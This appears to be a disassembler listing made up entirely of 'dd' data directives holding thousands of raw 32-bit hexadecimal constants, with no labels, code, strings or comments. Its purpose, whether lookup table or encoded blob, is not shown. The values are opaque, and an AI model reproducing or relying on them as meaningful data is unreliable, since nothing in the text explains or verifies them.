		dd 2F7C3CC6h, 13DA1B65h, 4E32B12Fh, 74F99DABh, 425A76CBh
		dd 0F620BF10h, 0F3956C1Eh, 85B0C488h, 90B8C20h,	0F7316F14h
		dd 0F887CB07h, 0E339D027h, 97FF13Ah, 0D7953067h, 4EB33791h
		dd 41354C94h, 0A7AC7196h, 1D6800FCh, 175C284Ch,	78F260BDh
		dd 0DAF77E77h, 5E6102B5h, 0EC36C492h, 50149EB4h, 8980A884h
		dd 5F522EC2h, 3158C241h, 0C0954CFAh, 1328829Ah,	0A85D292Ah
		dd 0AFE98397h, 8E455852h, 782C064h, 0BF35553h, 0E01F3F9Ch
		dd 0B87E6316h, 538BC179h, 0E20045FCh, 80481858h, 6A651058h
		dd 0DF31B91Fh, 47137D74h, 55C0F576h, 3D0B8CB8h,	76A91B5Eh
		dd 0BB2C749Eh, 4D7FCF8Bh, 0AC3B2F22h, 59E21B27h, 0CEC8D45Bh
		dd 25AF0A0h, 0B9A56EBCh, 68129816h, 54415D2Fh, 1F79F6D6h
		dd 4EBEE9C1h, 47221E41h, 0A4ED4A75h, 9549FACh, 94802902h
		dd 2891EDEBh, 0C586D94Bh, 0F9E52041h, 7468BA04h, 18AE5663h
		dd 35AC46D3h, 0CC2B5F81h, 6838FDDCh, 0F0B8CA0Eh, 140152C0h
		dd 0D65BE97Dh, 0FC7E8F4h, 171F7C72h, 0E3EA1365h, 39C29954h
		dd 9231A93Ah, 1A765501h, 0B7211C41h, 8049E31h, 0EC489EFDh
		dd 409F1B10h, 6E009C8Ch, 8F0D2164h, 3F145Eh, 0A31AF32Dh
		dd 6E8C10Ah, 83F7E910h,	7D225B28h, 5271BC21h, 5616CF5Ah
		dd 17AD5E54h, 0CFC3E9F0h, 440BC093h, 8465D3A2h,	98175868h
		dd 0C641E231h, 6E12EE85h, 0EE82BB82h, 0A195D2BBh, 586F58C1h
		dd 4B694C3Fh, 34061F27h, 64CFAE7Eh, 825B0B3Ch, 0BF006EFBh
		dd 1F57753h, 73EF814Fh,	3FEDC029h, 9D0412C5h, 890442A1h
		dd 12D8BDF1h, 7CD5B64h,	0F60290E9h, 6C1385D4h, 463D4AAh
		dd 2E6A289h, 571D2168h,	2ECDC018h, 0A0604226h, 3AD48D13h
		dd 0FB1F5EFAh, 0D9FFD532h, 80472E7Fh, 30AC2911h, 0B14A25E9h
		dd 0DD939BADh, 5D4DAD1h, 9C028428h, 175BDB7h, 9561ECD6h
		dd 644BBCD1h, 0B5524CFCh, 2E986820h, 24A9D95Bh,	0C3595077h
		dd 832DB145h, 4D6E69F1h, 10F1E9ECh, 2924F5A1h, 0AAC21257h
		dd 160CF686h, 40596B1Eh
		dd 1607EF7Ah, 0F7004D08h, 0CD8145D5h, 762A234Ch, 5EF50D53h
		dd 2048B8A1h, 4D5AEFFEh, 0F9943049h, 53578ABCh,	26A019Ch
		dd 2B811A37h, 0EC2D22E0h, 0B4CB6289h, 5F06AFD5h, 1ECB9586h
		dd 6ADB55E1h, 168240D4h, 0B2151F6h, 16385D54h, 17BCE64Dh
		dd 1372062h, 3A620568h,	0FC4F158Ch, 492B2E04h, 0D5170907h
		dd 1D0E9F6h, 954A98C3h,	89B7B4CBh, 0E985C05Eh, 87887F73h
		dd 1F541464h, 951DBC09h, 57328076h, 4A1AEFBFh, 49EA5C7Ch
		dd 0CBC9B13Bh, 0AB0084F1h, 3DCB64C5h, 0E926B340h, 47092515h
		dd 72881653h, 0C4C650B1h, 5C502814h, 56A94FB1h,	4A69F84Fh
		dd 805BEFCh, 826F4D26h,	5D29845Dh, 0A6D9CF28h, 0E54A0276h
		dd 7EE10CD9h, 53BD0069h, 10842758h, 8E040563h, 4D777DE8h
		dd 57FA85EEh, 0FC38BA89h, 0B0496A7h, 765895E9h,	0E933D9BDh
		dd 6804ED00h, 98B72650h, 30291584h, 0D72C6DC4h,	3C79FF23h
		dd 7D2F151h, 0E0D2D508h, 1C77B1C5h, 6DAD2B30h, 25B584F3h
		dd 0DB0FE226h, 7774CCCFh, 0FE0AAE4Ah, 163FC289h, 2D4BDF0Ah
		dd 0FA591128h, 0C79C4BF0h, 822C77DBh, 0C42E0Eh,	0D335EF0Fh
		dd 50EB6954h, 0DD3B4D0h, 3B256803h, 4C8E53E4h, 82A5B134h
		dd 0D70B6146h, 6299AF02h, 5434A15Dh, 40FE7B22h,	48054A29h
		dd 417B6EA0h, 1694E8A3h, 81181400h, 0F90B2BE5h,	4A38CE76h
		dd 1B80FD29h, 250E60E7h, 3D5B24B0h, 2AAFA784h, 6FE9172Ah
		dd 12FF9B52h, 5F2CCA3Dh, 40B3BBECh, 0C4B2ACD5h,	8EFA6EA1h
		dd 0F4257EA7h, 27D172A7h, 0A198376Eh, 5582566Fh, 3915D151h
		dd 0C83119EFh, 8A5C105h, 0BE5918A4h, 0E57C2BD9h, 87339C86h
		dd 2E55E605h, 8E80491Eh, 9E1F5F2h, 5E50E9BFh, 0D94EBBFDh
		dd 0C92FD35Ch, 4AE160FFh, 2D10E983h, 0F4300A8Eh, 0CC86E640h
		dd 8DDD1F6h, 4FE93BBCh,	10A0DC7h, 0A5036055h, 2B3107FBh
		dd 0CC1308DAh, 0FCD3C503h, 88A14DE1h, 84A1110h,	3088FE3h
		dd 0BBCF0D41h, 88C1DD08h, 1EAF4718h, 1131207Bh,	0E6C90852h
		dd 47B72088h, 10F57E0Ch, 0CD1E40AAh, 0BA088B62h, 6CF20348h
		dd 22DE2010h, 10F15418h, 8C467B0h, 5F046015h, 0C59C067Eh
		dd 0E0762028h, 10348D33h, 4929313Ah, 8CBF7259h,	18F0B208h
		dd 884621Eh, 2103D3DFh,	0D2201836h, 9465084Dh, 15A7F383h
		dd 98F96720h, 8618B437h, 0EF40E17Ah, 88B633Fh, 18588C1Ah
		dd 0E508624Ah, 7423028Eh, 2059FE06h, 220C0DAh, 7E3520ACh
		dd 3117CB20h, 56086F14h, 0B799016Dh, 0F68B288Dh, 98B92108h
		dd 0BA19D608h, 0ADC180ECh, 135A8A9h, 885384FDh,	0E8081011h
		dd 0A83D10C0h, 389FA618h, 84809CFDh, 518F8164h,	8C3AF1ACh
		dd 28D5E208h, 7E144045h, 0A05111DFh, 5464D444h,	80B29CC3h
		dd 0D383730Ah, 9008106Fh, 0E521875h, 80BC9A28h,	10C4AE15h
		dd 0A2069232h, 574408FFh, 20C2632Ch, 810B71Ch, 0B61803DFh
		dd 92442085h, 80544080h, 6D8005C7h, 0DBF98060h,	437D08C6h
		dd 0FF40A819h, 6E18C480h, 9AF3055Dh, 85CA44Ch, 0A3A4A89Bh
		dd 0F10CAE2h, 0F8B2959Ch, 8B6DA19h, 69FC5273h, 0DEB80849h
		dd 3A94C02h, 101074C1h,	1B10977Ch, 7F5918D4h, 0C430B408h
		dd 6F70518h, 20105CEFh,	2620941Eh, 0D92C208Eh, 20623520h
		dd 2349ED72h, 61161808h, 0CC562218h, 0B008A179h, 40537740h
		dd 0B8650CBBh, 0CC468530h, 3118AC04h, 33081ADCh, 40D60138h
		dd 9CC5703h, 4D1CA23Dh,	0DD98494Eh, 5AE01088h, 0CB9C308h
		dd 0AB08F238h, 90183F66h, 388949D9h, 0FC87F515h, 0E9202320h
		dd 92C32091h, 182CC431h, 0EB027163h, 0C861E8A2h, 9DC884Bh
		dd 587022ECh, 702C02C7h, 298DA02h, 0C04A31C4h, 0B3B6B422h
		dd 27C9F02h, 6802A609h,	4A05057Bh, 95ACACF8h, 0B319EC29h
		dd 2060081Bh, 0A499E894h, 9E57C2Fh, 0CF275523h,	3B448EC7h
		dd 47001D52h, 0EB02752Ch, 0E896513h, 60BAB9B9h,	8F4401D4h
		dd 0B490240h, 8BF775C9h, 408FA4C3h, 0B9F003DEh,	33310163h
		dd 0B10FC0C0h, 2C30614Fh, 0DE8768ACh, 0DF6A1A7Fh, 1E7BD46Ah
		dd 6133753Eh, 0F8C6B301h, 3F50BC70h, 1416CE29h,	71319756h
		dd 80036B5Eh, 0D6444E0Ch, 0C14D4536h, 0FAA47810h, 0DA816A1Fh
		dd 6BBC5467h, 552DE801h, 0E238E642h, 4FD3F155h,	2980012Dh
		dd 6F91022Dh, 0D95E358Ch, 0BA754965h, 93A65C18h, 3ED6E1D5h
		dd 7A101AA3h, 66AA4BFFh, 0B804087Eh, 37E95517h,	0E580C6BFh
		dd 79B0F603h, 0F1524845h, 0EB74C33Fh, 685A0AD7h, 60A82880h
		dd 1E0F5FBAh, 0E2812700h, 6A0815F9h, 25B80250h,	563A7F33h
		dd 161A4F7Ch, 6FB080DEh, 16BA8E70h, 0A35BDE31h,	0B39B58F6h
		dd 6DBC05BBh, 0BDDA31D5h, 20FA96A9h, 0B5E95308h, 1E80D540h
		dd 4C5162C2h, 0E7D3D0ACh, 0C641F700h, 0D9880F35h, 0C119DE44h
		dd 3ED48CA4h, 1FB82B57h, 612BBA4Ah, 0BB80500h, 0B12D7DFAh
		dd 4BF30C16h, 4B71D0F0h, 0B0B5F8B0h, 17ED64ECh,	0B8C38324h
		dd 4BD386FCh, 0F3810206h, 998BC55Eh, 68047F54h,	0EBA257FFh
		dd 96DBD5Fh, 0E646C448h, 0B2D51AEh, 0AA14DB2Dh,	225EB763h
		dd 0B28E9590h, 0E55F5809h, 0B8923CCAh, 211D4EA1h, 435DDDFCh
		dd 4ECEF181h, 2A16D8F9h, 3E80088Ch, 617027EBh, 5A685620h
		dd 6A4247Dh, 5B0AAC64h,	69F4B2BAh, 28C1C50Bh, 5C601C2h
		dd 3EE91E4Bh, 5FBD000Ch, 11DC1879h, 30DD224Dh, 0E918EE7Eh
		dd 3538CD57h, 0C1F83EBEh, 0F84E96C8h, 85462F72h, 802EA77h
		dd 0DE014AE9h, 1665EF23h, 0ECED298Dh, 2DD03EE2h, 5A337891h
		dd 0AD571040h, 4ED7CAAEh, 75ACEF44h, 18BC41BAh,	4029DC59h
		dd 473D629Dh, 9E9494Bh,	3CE8BE10h, 0A840BE05h, 441CBAFh
		dd 4C81FBE4h, 3F7FE0C3h, 0F15C5F4Ah, 3853C944h,	0F83BC1B7h
		dd 5A3D5B3Ch, 4F0D6801h, 3B86ABE9h, 291240A6h, 805BFDD8h
		dd 2FC919C8h, 0E77AFB01h, 0F0B01750h, 0B6C056F9h, 0C5EE80C9h
		dd 1495F5E0h, 0E830310Bh, 7901527Ah, 2456267Bh,	14693E0Dh
		dd 705DBFFh, 58C5080Ah,	51E63FFEh, 45281428h, 0F505DCF7h
		dd 2D0917B7h, 0CF20DF4h, 8E2C15Eh, 55010606h, 18F96856h
		dd 1C821457h, 8A0F04E6h, 6B12D063h, 0FC40A9EBh,	4E2CBAEEh
		dd 0CEE29559h, 0C527827Fh, 0BCB8F468h, 8626ECC5h, 0FD249295h
		dd 5BA0A5E2h, 0FFCCEB81h, 213C060Fh, 6F836D9h, 0E6C2701h
		dd 22CF1EE9h, 170805EAh, 91AE2F7Bh, 6A5C9CCAh, 67ECFB7h
		dd 226802EDh, 13207D16h, 315817C7h, 7F8EF6D0h, 9D28762Ch
		dd 16CEF740h, 96796092h, 3E87882h, 1E580CC0h, 31E91C69h
		dd 0E59F8F1h, 81E28006h, 73037ACBh, 76F29D35h, 8F51770Bh
		dd 0F7BFE205h, 3564F2E2h, 975D7C0Bh, 52125C4Dh,	24F21F61h
		dd 67F86843h, 20A39EBDh, 489DFC47h, 3E55D624h, 469A4044h
		dd 6B7F9645h, 9AC0985Ah, 9D8E4F18h, 6499304Fh, 0C6BB2CCBh
		dd 30F00211h, 0A0E97FE0h, 7410FBA9h, 0EA836065h, 2D70684Eh
		dd 3AE21F94h, 0DE79CC9Eh, 0FC588844h, 0E6330DBh, 0FE08EEC1h
		dd 107963E4h, 94C367BFh, 0E88D4FBBh, 6BB70036h,	0C981683Eh
		dd 0BA3D1D55h, 0CDC18011h, 0F4B6541h, 43EA8317h, 0FD025EBh
		dd 1258694Ah, 240149B3h, 60793550h, 0C9D466C0h,	2AFD2473h
		dd 1F9B884Ah, 890D6027h, 7A5354E5h, 5DF437E9h, 26C9EECEh
		dd 0C5801CA1h, 8E91F8DEh, 0D38011DFh, 3059CC88h, 0CFE3E4DCh
		dd 866FF608h, 6268CC1Fh, 0B1955D46h, 46305603h,	32770030h
		dd 7F65CE81h, 0F7390A1Dh
		dd 8DE30D6h, 92100DE9h,	6AC20427h, 0C04F197Ah, 14023EAEh
		dd 0B1F343FFh, 0E9324CA0h, 4ECACE38h, 941264BBh, 82CFBE1Eh
		dd 686CE90Ch, 0EB582864h, 18E410D9h, 0D9BC5B3Dh, 6732851Dh
		dd 0C736DD4h, 47FBE915h, 1B0F0D10h, 463C8E1Ah, 0C4692B8Bh
		dd 0A91C8730h, 5268C2DCh, 16AFC635h, 0FF7DD2E9h, 0E93BFA39h
		dd 83C5B4A5h, 9D6693E0h, 9F4FCF54h, 0DFD389E7h,	0FA087A84h
		dd 1763372Ch, 0B1DEB6A3h, 2EC1CD29h, 455FADB6h,	91E15695h
		dd 0C9DD8833h, 0E6A9EFECh, 6AEBE158h, 0FD04B5A1h, 74570CC5h
		dd 12108EEh, 0F694A937h, 0B6CEB101h, 4DC0C2F9h,	0FFFCA52Ch
		dd 0BD027F94h, 7F8205B9h, 39F566A0h, 0A70964BBh, 11228DE9h
		dd 54E46D09h, 0B6A2F6B4h, 0AA5A123Eh, 854A72Dh,	5118A3AAh
		dd 73ACE56Bh, 0A84F5E29h, 6E4312F7h, 0CBC06EC1h, 63F1B108h
		dd 0E4348EF9h, 0AABD0655h, 0A5422935h, 159ECD02h, 60457173h
		dd 0FADFE476h, 9C5897FDh, 0ADE98928h, 0F589CE50h, 831344D2h
		dd 7C4E00BEh, 0C32973EAh, 6C9DBCAEh, 89DD85D2h,	48845D54h
		dd 60841809h, 0C0287174h, 427A2E0Ch, 0FC2FE916h, 8B9B79A9h
		dd 0EA7E2DA6h, 4805C363h, 23014C43h, 860F10D3h,	0CCC6DE96h
		dd 8AA9E918h, 2F685010h, 0C8126B4Bh, 8252E95Ch,	4A65F518h
		dd 667A579Dh, 0CEE86729h, 9F4FBFA8h, 0B465848Ah, 818E98B8h
		dd 89B9295Fh, 3592EFD2h, 0EBC8FD4Ah, 74C00AB6h,	0ED80CDFEh
		dd 5FEBE01Eh, 558BC59h,	7FFAE9BEh, 3CE4A0B4h, 307B4061h
		dd 88384796h, 5B5B871Ch, 17C44DF2h, 8ED8EEF9h, 164B598Eh
		dd 0AA4F2105h, 2606AA78h, 2CFCAE70h, 16CC59CBh,	0B6980002h
		dd 0E97E3C55h, 2CC48C20h, 0B2FE31h, 9BD8D4F6h, 0F55801DCh
		dd 8855B282h, 2F2CF93Ah, 12E07636h, 0A2EE2081h,	0C6DFDFCEh
		dd 9B19DC2Eh, 8B454C0Ch, 315C5187h, 0CE358E5Bh,	0D302208Ah
		dd 0F7016BF4h, 0DEADF0C5h, 0A115807h, 16AAED94h, 0BF103E20h
		dd 9A0BA672h, 0D8743D4Fh, 2177278Eh, 31443174h,	596161AEh
		dd 5D1E8402h, 8DAB1468h, 26ED3AA3h, 0EAEF44B7h,	0A35B67E7h
		dd 0B28AD24Bh, 0FE0A21D2h, 0FF8004A8h, 0A0261E6h, 55565EC8h
		dd 0F75D58D6h, 0C20EDD52h, 88397BE9h, 5D72C1ACh, 512726E5h
		dd 5694CC08h, 695759B7h, 0CD09DBF0h, 7567C957h,	8B0F7300h
		dd 0E3DE38D2h, 0CA882687h, 0DE835055h, 588E7246h, 681690DFh
		dd 0F218529Eh, 45BC95Ah, 4F0ED65Dh, 57491BC6h, 6568F101h
		dd 0C8893A72h, 7C54420h, 36C34C96h, 0ED0A6F29h,	1580508h
		dd 3D36C0D5h, 79151151h, 70F3AEE9h, 52272790h, 0B2F7228h
		dd 3C0473C8h, 22F6CD03h, 866CAF24h, 1C2D8446h, 0C336EA80h
		dd 0DCB4DBC2h, 0A3F9D4DBh, 96102C5Fh, 29E3280Bh, 0A3E5DDEEh
		dd 8D971A5h, 0C100F721h, 840F04E0h, 0A59E52h, 0C755E405h
		dd 0E9E60191h, 5C61744Dh, 6B680BC0h, 0D5AF302Ah, 0A00B0955h
		dd 0CA46EB29h, 3DE3124h, 0D8EEB373h, 96285111h,	0CF07C694h
		dd 2455B907h, 28A33E0Ch, 0C53702A0h, 5ED860DAh,	3D513341h
		dd 0DA84098h, 655B38CFh, 0B583F4B5h, 99205BCCh,	2AD020CAh
		dd 0E551A560h, 3B2F286Dh, 578D139h, 0E43BDF5h, 2927AF36h
		dd 0C5281043h, 5D97710h, 3C115087h, 6248EBC0h, 0E9570CD5h
		dd 495895A8h, 0C65455ECh, 9758F7DAh, 11613114h,	7DE0BAC7h
		dd 0F0E882FAh, 764BF968h, 7FC4C0F9h, 61F0524Ch,	617A12DBh
		dd 0D57FF5Ah, 0F4EF79BFh, 33D2DFF3h, 194B09AEh,	9E5E5D62h
		dd 8E538F40h, 0EB310508h, 0B877DCE9h, 0B7E1E73Dh, 0F672013Ch
		dd 6EB52E78h, 0C9EF9F73h, 1D20DD05h, 0FD32F44Bh, 7E627095h
		dd 819A2A56h, 31C92AEFh, 0EAD89DDAh, 7A062204h,	29FE5E29h
		dd 96BB3C61h, 0EF0309FEh, 0C6D8A02Ch, 42E79B51h, 541B9AFh
		dd 0EEC74021h, 78BF6780h, 28CE6864h, 3B272608h,	0B5EE98Dh
		dd 0EBD39C6h, 0F525F8C2h, 0E16C2A90h, 0C66967B0h, 0E807E3BEh
		dd 907DEE63h, 0FE03589Ah, 0B4453C84h, 0F513AC9Eh, 5BEE04Ah
		dd 0AEF301A7h, 8A4E4DCBh, 0FBB25B60h, 0E9F86637h, 0BEF51E05h
		dd 40E428CCh, 314FAD4Ah, 0AEB423ECh, 0E38143A2h, 0F8215D47h
		dd 2B02DDEFh, 66E9154Ah, 5E6CDF4Fh, 0CC61CE26h,	431B4B40h
		dd 9659867h, 67DB93Fh, 0F379C6D4h, 164B8420h, 51D752h
		dd 0CC775F19h, 5025E934h, 68F110E5h, 0F5384116h, 0FE52292h
		dd 0A5CA1BF7h, 10C70956h, 0C88387E2h, 3A2DD8A7h, 11BE667Ch
		dd 0D95A1C15h, 6493DE50h, 0EC345D44h, 6F3F847Ah, 8232CBE9h
		dd 985DBFA7h, 384DBEF3h, 0FAA601CEh, 4A9402CCh,	9F4063F5h
		dd 130B32E2h, 0A0E3C11Ah, 822CF263h, 280CC130h,	21C5D17Bh
		dd 63F37F11h, 0E707541Eh, 5A8AFFDBh, 35016439h,	0B3648F49h
		dd 0B2F4838h, 0CA52BA5Ch, 61BD513Fh, 2E3E3C68h,	13754031h
		dd 0A1C30F64h, 6C685D87h, 4C5FEA4Eh, 0EB14DCEDh, 8D20BF6Ch
		dd 870F0C64h, 510C42D0h, 72F3FFA0h, 894BE718h, 9DCA2158h
		dd 47BF0AD8h, 8C48241Ah, 385956F4h, 0D0F72560h,	3ED2CD05h
		dd 7213FABAh, 0B9CC2051h, 0DA2C0A5Eh, 0B703D203h, 6607C45Dh
		dd 4073286Ah, 792EBB07h, 53AE4B41h, 0D3285744h,	0C32C81FFh
		dd 55F53E47h, 0C81026D7h, 977D2512h, 2C01694h, 1A850F60h
		dd 801EC3F0h, 927295CBh, 0D5A6A21Ch, 0D2F62B9Dh, 80F24CD0h
		dd 0DBB0CCFEh, 4D0ED265h, 40802280h, 9A524C6Dh,	42E0C20h
		dd 0A2190125h, 213AEA9Bh, 4402E247h, 0AFAF95A0h, 8B483093h
		dd 0B6E8DD36h, 2EBFFA7h, 0E94111D9h, 4829DB42h,	1DBE3077h
		dd 0CC685252h, 13AD7717h, 0B2D67A6h, 0B2DC2D89h, 0CB43C00h
		dd 2D2AA705h, 405E156Eh, 0D853B318h, 9DE850D1h,	67205B5Bh
		dd 883430B0h, 0A0B7DA8Ah, 0EE430CC8h, 9C029E68h, 20F42D2Eh
		dd 0C3E5D7D2h, 66685882h, 6529546Bh, 0A48EC512h, 2A1FFE1Eh
		dd 390948B9h, 0E191DD79h, 1B77A2Dh, 0B6F5416Bh,	0DC0525D8h
		dd 89E45AFEh, 0D5776ABh, 0B7A7295h, 0CBB6E950h,	6EF8CA2h
		dd 34F66B60h, 0C261330h, 0F131720Dh, 0D688EB03h, 775BE97Ah
		dd 2DC98134h, 56B76960h, 0ED5F8235h, 25C705A4h,	10FF41B0h
		dd 5B26078Ch, 302429C1h, 3C4A601Ah, 0F2297C02h,	851EE0E9h
		dd 80FE5A97h, 75D96867h, 48CAF283h, 78FD89CBh, 0A8C4A55h
		dd 986C073h, 0C007B252h, 44A2E9BEh, 7C766A79h, 0C9426C67h
		dd 1F89DD73h, 0ECA28509h, 0C1DDC888h, 0CF20BA6Dh, 0F706C9C9h
		dd 6AEDA13h, 9425E9F6h,	0FFC21E81h, 92546DDDh, 0DE3F61EEh
		dd 45762D1h, 72647F03h,	28A41F80h, 0E9763B80h, 812A0AA4h
		dd 595B08CBh, 5316Ah, 115A6F0h,	0D3E9DF0Bh, 5284980Ah
		dd 0B4500153h, 10EC80CFh, 4B7DD20Fh, 0EFF4C8ACh, 9EE74C88h
		dd 83845D20h, 0D808A707h, 0F7C1BB77h, 46218827h, 3F3581A4h
		dd 0FB1A12C8h, 0E9FC3626h, 0C91ABEF8h, 0D9005110h, 6E9F389Dh
		dd 8F8E619Dh, 90F7D580h, 894CB748h, 8630F97Dh, 9AC31BEAh
		dd 6AA03D5Ch, 0BD276798h, 0D3E0D7C2h, 0EB309E98h, 0E9490694h
		dd 0D8F8AADBh, 947FF1FFh, 423F988h, 5FC70574h, 0F9608901h
		dd 0D2812B42h, 776BF107h, 0F1A9B42Fh, 0ADFC2F2Dh, 4E2B4DC9h
		dd 0BF574C40h, 1D66C20Bh, 34565406h, 0E7064606h, 1F90E207h
		dd 11A657C4h, 7757B800h, 0EBA6175h, 2737A54Ch, 0B50F09Eh
		dd 154911Ch, 882C0D0h, 0C180A864h, 0EFCC5331h, 39E070E8h
		dd 17050507h, 8021DC73h, 0F38143A6h, 0EB182D0Bh, 4058434h
		dd 3E6CA4D1h, 5025A2Dh
		dd 587DC512h, 566BE1D6h, 0F07842DCh, 82CE8100h,	0EC944872h
		dd 0F7734077h, 2604D26Fh, 2AE5ED64h, 95BD59F6h,	0AA301058h
		dd 0D12D1082h, 39C52713h, 1504994h, 2E17A483h, 4A4130EFh
		dd 77756856h, 0EDFE579Eh, 0A7282D13h, 952A864Eh, 7A0BAA46h
		dd 0AB3E6E4Dh, 92A80926h, 0DCEE00A3h, 0C151C679h, 0E649FACAh
		dd 0FEF06A34h, 3CFB02F6h, 76E93AF3h, 0BD1E9FD0h, 5ACF47B2h
		dd 0F01D6545h, 0F3218CAAh, 0EEB987FDh, 0CE94515Dh, 5E5E71A0h
		dd 0B4EAE050h, 38A76F00h, 0EC0565B9h, 0C4489529h, 0EC9C4649h
		dd 83D88BBFh, 3B717E3Dh, 0C61B10B3h, 3EECFCE9h,	9B4E901h
		dd 0EFF03D6Fh, 2C4E12AFh, 1739D468h, 43DAC08h, 0C3A4E957h
		dd 6DB38B1Eh, 0F5922871h, 0A85F6BB0h, 4B93688Fh, 34DFE333h
		dd 0DEAE8303h, 5D8F16AEh, 0F93BD6CDh, 545002A7h, 7F8A37E9h
		dd 5F4A58E6h, 0C83149C1h, 0F2F52FDh, 83A65DD4h,	452AAD0Eh
		dd 0ED81453Dh, 0F647A727h, 83F550BAh, 0EC259897h, 6CC7055Bh
		dd 164418B8h, 0B04AAC0h, 74E24E69h, 0A9E6809h, 2B0117Bh
		dd 95555DE9h, 147BEC94h, 0AD835CBCh, 0B020E55Bh, 302129F2h
		dd 0B5186D8Dh, 7A60A63Bh, 5D7B110Ch, 0C3AC8F8h,	8437C58Fh
		dd 1EA0260h, 5ECFCD8Bh,	0B1A9FACh, 1420445h, 8FF10EEh
		dd 20E99154h, 5C4B446Bh, 0B0173AA9h, 1B1A7EEh, 29ABB951h
		dd 0E1F03AD1h, 9F3D3FC8h, 0B7890F86h, 97F88927h, 17FD4A09h
		dd 8BB68249h, 795855D5h, 39F17F16h, 0B5309CF5h,	1119918h
		dd 0B10412Bh, 66BE8353h, 1F3B171Bh, 9060CEEh, 2B828927h
		dd 0BF946h, 4472A4BEh, 0C329331Ch, 23B0EB64h, 7C97CF32h
		dd 69EF013Bh, 2E172563h, 0E7D09B87h, 735CD430h,	0B42F69E9h
		dd 0E97841DEh, 1212F08h, 0A3839E71h, 0F74EF552h, 7222DD79h
		dd 407B5070h, 0E678DD89h, 964191F4h, 0B04D82EAh, 0A4405509h
		dd 6B2785F9h, 1290F2A8h, 30015332h, 72BF357Dh, 6813487Ch
		dd 93FC41B8h, 0CE00B8DAh, 59E5086h, 7DDB60B5h, 0FA612EAFh
		dd 4CB2108Fh, 1C60048Fh, 0B1046287h, 68B8166Dh,	1CB1A24Eh
		dd 4F386753h, 0DEDBF6BDh, 143BDA25h, 555A2A05h,	91E91273h
		dd 0EB084032h, 36F11016h, 256AF99Fh, 792DB3C7h,	4C02911Ch
		dd 5EFB599Ch, 46C23E1h,	0FE2D1184h, 662FBF3Dh, 0CE95506Dh
		dd 2C5995C8h, 9D015EC5h, 56CF7C47h, 6760C82h, 58557BB2h
		dd 420882CBh, 5C84240Eh, 8BDF39B9h, 23148126h, 83FD99Dh
		dd 0EB81ED02h, 105034D0h, 9F4BE8ECh, 5D699273h,	209D5E1Ch
		dd 4A7EB293h, 38050239h, 50E74BA1h, 0D3588AABh,	98BB0B9Dh
		dd 125854D0h, 0CC596A68h, 0C74D2A15h, 58C112A1h, 33CAF7ACh
		dd 0B5C488BCh, 0BB534700h, 24A02D37h, 80B82125h, 4B01C4C7h
		dd 0FA4E295Eh, 0AB1FECB6h, 0C02EB83Bh, 0B652025Ch, 33DD306Dh
		dd 5BFEC09Dh, 0DFD65CF6h, 57ED004Ah, 0F209EC68h, 27AECFFh
		dd 0EA052D92h, 80627CB6h, 84B307C3h, 0D653E2BFh, 21522DEBh
		dd 2F57924h, 0B10C40EAh, 0A132E8B9h, 3C67B337h,	0AA681D25h
		dd 0E4276801h, 5FE61846h, 528C2863h, 9F37E80h, 29388D02h
		dd 0DC607BEAh, 34CAF10Dh, 281CBE80h, 67D5C77h, 7F795DDEh
		dd 0E2F5033Dh, 0F04CFE51h, 0D254F601h, 0ED37FA08h, 1228D5A6h
		dd 0EC68E9DDh, 0B9B95A42h, 0E5A980B4h, 37138805h, 7EC52EE9h
		dd 84F245EFh, 0F495BAFEh, 0C6A92F18h, 4058B0FBh, 172B68F2h
		dd 83178B38h, 97B65640h, 1D54CE80h, 0B908E6C0h,	0C1E97585h
		dd 0F275886Bh, 6FC32E16h, 811357C4h, 0AFC19184h, 656817CDh
		dd 7E006248h, 0C14C7A69h, 599707E1h, 6FBB0202h,	4775B41Ah
		dd 0E24C3064h, 395D1D1Fh, 8EF2858h, 80E4E927h, 2C685FFEh
		dd 218BF10h, 44BB2F9Ah,	0D8EB5844h, 19F86B8h, 1C772141h
		dd 98186D72h, 5060213Eh, 1DF4BDA4h, 0BA61F40Dh,	0C17A0B3Ah
		dd 2403DB02h, 403FC35Fh, 9255BD63h, 19F39796h, 18A55E10h
		dd 0CF4E5D5Ah, 0C33B5E4Dh, 404E48A5h, 21A511A2h, 2FCCB174h
		dd 0B42B1B39h, 0A25B1207h, 0D6E483B9h, 7B0B8A32h, 8072A07Dh
		dd 396EA423h, 7FCDEC60h, 3BC50170h, 5A68D5F7h, 22372E5Bh
		dd 88CA9074h, 255A357Bh, 9D0BFECCh, 1E248202h, 0F3E9A075h
		dd 97C8B28h, 8DE9536Fh,	3FB7CD61h, 76276F6h, 0DD058E9h
		dd 6C17F198h, 4C033833h, 2F2D282h, 2EF1C751h, 0F40077Ah
		dd 0B2276EECh, 750F866h, 2935D90Dh, 17C6E5FEh, 0E937F408h
		dd 0DF11B92Ch, 205822A5h, 9BE777EAh, 82685000h,	0B6593D38h
		dd 48625A4Eh, 8266797Dh, 0D4508F2h, 8C7585D5h, 0A83BA7A1h
		dd 0C16E1BF9h, 92D7F0C3h, 0B8B75B4Ah, 78E679A5h, 54805818h
		dd 0BA50BB8h, 39E9AA76h, 0B241EAE2h, 9240303Ah,	0FADDC34Fh
		dd 0E24B2F2Ch, 87AFDDC8h, 0F36440DCh, 258898A0h, 0FA7958E7h
		dd 452CDE25h, 0ACC8BE2Fh, 502E496Ah, 0C842E600h, 0C18A0F75h
		dd 0A75B7E62h, 0A214FF86h, 55107B5Eh, 27E704CDh, 78D93B1Ch
		dd 0E9A07278h, 99CE769Ah, 1793E6C2h, 0CC2BBD42h, 0B0D3A204h
		dd 0D1B758B2h, 42424A65h, 41743D0Ch, 0C0125F45h, 55643A87h
		dd 87A872FEh, 87EF5377h, 0AFC06E9h, 759A2D22h, 0E00F63FDh
		dd 529EE9DBh, 793C1E4h,	0F247C53Eh, 2A785969h, 42B314C1h
		dd 15F1320Ah, 6891003Ah, 69B5197Fh, 454A5A2Ch, 0EFC241ADh
		dd 12099EC8h, 5454E9D3h, 4B751CA9h, 219E3505h, 0A122EF7h
		dd 0F9565912h, 5644F537h, 98CC20F9h, 0EDE91350h, 0A869241Bh
		dd 16163257h, 0AB940B45h, 2DFF4C9Dh, 13D15AD3h,	8B91A517h
		dd 982FE870h, 2145F996h, 70EBBC24h, 0B754E058h,	1AC95B79h
		dd 36C7512h, 9ACD35E2h,	8E817689h, 2A9607BFh, 6491FD42h
		dd 0E777D1F6h, 46C22D4Ah, 2E60754Ah, 777C797Fh,	339FB42Bh
		dd 2AF2913h, 0EB48FF4Bh, 0D035EA85h, 7C0A0514h,	7C6B8725h
		dd 1C0720F9h, 2748A2E9h, 0A4AB1CDFh, 0E7EA2752h, 5780A273h
